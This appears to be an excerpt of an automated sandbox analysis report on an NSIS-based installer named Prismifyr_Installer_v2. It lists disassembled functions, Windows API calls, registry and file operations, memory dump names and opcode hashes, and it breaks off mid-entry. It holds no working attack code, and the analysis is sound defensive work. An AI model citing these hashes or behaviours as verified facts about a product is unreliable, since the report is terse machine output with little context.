APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3fb84e4798befa08d55ab41dd677560f87883767086f956b8989b4831fa63046
Instruction ID: 1af55e8da281c8781352e9764615226c40e2312ccaecb42dabcb88ef8baddf82
Opcode Fuzzy Hash: 3fb84e4798befa08d55ab41dd677560f87883767086f956b8989b4831fa63046
Instruction Fuzzy Hash: 5621C371948209AEEF049FB5DE4AABE7BB4EF84304F14443EF605B61D0D7B889809B19

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405322: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
Part of subcall function 00405322: lstrlenW.KERNEL32(0040327A,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
Part of subcall function 00405322: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,0040327A,0040327A,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0), ref: 0040537D
Part of subcall function 00405322: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\), ref: 0040538F
Part of subcall function 00405322: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
Part of subcall function 00405322: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
Part of subcall function 00405322: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Strings

gs, xrefs: 004020B0

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: gs
API String ID: 334405425-616317460
Opcode ID: 72a5e19f9697d1318c9a310d29b5b60265bfdb2e952e74c10cb73e1909f0eb38
Instruction ID: 3abd81b96889d1c7eb1cceed2e7b5e281284f1a6e6a9a5ff44b88a827c8e1d1c
Opcode Fuzzy Hash: 72a5e19f9697d1318c9a310d29b5b60265bfdb2e952e74c10cb73e1909f0eb38
Instruction Fuzzy Hash: 8821B071D00205AACF20AFA5CE48A9E7A70BF04358F60413BF511B11E0DBBD8981DA6E

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsyC753.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsyC753.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsyC753.tmp
API String ID: 2655323295-2040663200
Opcode ID: 1af8095f3c9504d2ce798825688ccba5ec512a5a8ae6ba4a7bc3247cfd6f00f3
Instruction ID: a703f9f7a84a81219e2528cb215680d2185ac4e531b753f9c0eacf199e84c27d
Opcode Fuzzy Hash: 1af8095f3c9504d2ce798825688ccba5ec512a5a8ae6ba4a7bc3247cfd6f00f3
Instruction Fuzzy Hash: AF118471D00104BEEB10AFA5DE89EAEBA74AB44754F11803BF504F71D1D7F48D409B29

Function 00401B77 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalFree.KERNELBASE(00736720), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00004004), ref: 00401BF9

Strings

ExecShellAsUser, xrefs: 00401B9E, 00401BA4, 00401BBE
gs, xrefs: 00401B7A, 00401BAA, 00401BB9, 00401BE2, 00401C0D, 00401C14

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Global$AllocFree
String ID: gs$ExecShellAsUser
API String ID: 3394109436-3930729952
Opcode ID: 0ee5b69d2cfb3a0a2e0f3aae0319e9b1983c649d140d642359d16bc307d41886
Instruction ID: 2ffc4b8e8b305263ff1bfe934f744a2e7f0909984677ca7ca3d2d917788d1148
Opcode Fuzzy Hash: 0ee5b69d2cfb3a0a2e0f3aae0319e9b1983c649d140d642359d16bc307d41886
Instruction Fuzzy Hash: 52210A76600100ABCB10FF95CE8499E73A8EB48318BA4443FF506F32D0DB78A852DB6D

Function 004057F1 Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405834
GetLastError.KERNEL32 ref: 00405848
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040585D
GetLastError.KERNEL32 ref: 00405867

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 817c7eeb2e6ade2cce28f3b9d2e4670c9c7091e2f59c9eba6f9578a5288f1365
Instruction ID: d156970015101e62572267df52bf1fb018b172c5ebb67f048bc3511340661aba
Opcode Fuzzy Hash: 817c7eeb2e6ade2cce28f3b9d2e4670c9c7091e2f59c9eba6f9578a5288f1365
Instruction Fuzzy Hash: EB010872D00219EADF009FA1C944BEFBBB8EF14304F00803AE945B6280D7789618CFA9

Function 00405C97 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00002000,00403460,00472EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

Part of subcall function 00405C3A: CharNextW.USER32(?,?,C:\,?,00405CAE,C:\,C:\,004DF000,?,76233420,004059EC,?,004DF000,76233420,00000000), ref: 00405C48
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C4D
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C65

lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,004DF000,?,76233420,004059EC,?,004DF000,76233420,00000000), ref: 00405CF0
GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,004DF000,?,76233420,004059EC,?,004DF000,76233420), ref: 00405D00

Strings

C:\, xrefs: 00405C9D, 00405CA2, 00405CA8, 00405CE9, 00405CEF, 00405CF7, 00405CFF

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 1236b3014a845ece28ca986cac263987dd07c4e4a123605a37d0802bd6a8cdf3
Instruction ID: 4e01e145a0ed536ad24acc563e8a85444835dd946e40d448b56664b374cc0476
Opcode Fuzzy Hash: 1236b3014a845ece28ca986cac263987dd07c4e4a123605a37d0802bd6a8cdf3
Instruction Fuzzy Hash: 21F0F43500DF6125F626333A1C45AAF2555CE82328B6A057FFC62B12D2DA3C89539D7E

Function 00405DDF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405DFD
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,004CB000,0040338D,004DB000,004DF000,004DF000,004DF000,004DF000,004DF000,76233420,004035D9), ref: 00405E18

Strings

nsa, xrefs: 00405DEC

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: af8b6ba947558e1b0daa3aed001b6e0f80e178ffca66ecedc63f3e0829e9a41e
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: 61F03076A00304FBEB009F69ED05E9FB7BCEB95710F10803AE941E7250E6B09A548B64

Function 00402259 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004065FD: FindFirstFileW.KERNELBASE(004DF000,00468298,C:\,00405CE0,C:\,C:\,00000000,C:\,C:\,004DF000,?,76233420,004059EC,?,004DF000,76233420), ref: 00406608
Part of subcall function 004065FD: FindClose.KERNELBASE(00000000), ref: 00406614

lstrlenW.KERNEL32 ref: 00402299
lstrlenW.KERNEL32(00000000), ref: 004022A4
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004022CD

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 29d6f0bed4bd2d50b69dd1226e545e03bb95794d8620927361660d91590f24b0
Instruction ID: edc96df04b91ed766a503f65766f364d086ea8d205cfe5bb15309c141496b913
Opcode Fuzzy Hash: 29d6f0bed4bd2d50b69dd1226e545e03bb95794d8620927361660d91590f24b0
Instruction Fuzzy Hash: 57117071900318A6DB10EFF98E4999EB7B8AF04344F50443FB805F72D1D6B8C4419B59

Function 00405984 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D8B: GetFileAttributesW.KERNELBASE(?,?,00405990,?,?,00000000,00405B66,?,?,?,?), ref: 00405D90
Part of subcall function 00405D8B: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405DA4

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405B66), ref: 0040599F
DeleteFileW.KERNELBASE(?,?,?,00000000,00405B66), ref: 004059A7
SetFileAttributesW.KERNEL32(?,00000000), ref: 004059BF

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 280825f6b60181aa2d378306bbdc3da53de5ab3d89a200e418c4f7b9ea6af3cc
Instruction ID: 825022a906987a8d14f11fb4079f6fb6242afe5a54bc5f1377d2c32e3c215ab4
Opcode Fuzzy Hash: 280825f6b60181aa2d378306bbdc3da53de5ab3d89a200e418c4f7b9ea6af3cc
Instruction Fuzzy Hash: D1E0E5B1119F5096D21067349A0CB5B2AA4DF86334F05093AF891F11C0DB3844068EBE

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405C3A: CharNextW.USER32(?,?,C:\,?,00405CAE,C:\,C:\,004DF000,?,76233420,004059EC,?,004DF000,76233420,00000000), ref: 00405C48
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C4D
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C65

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

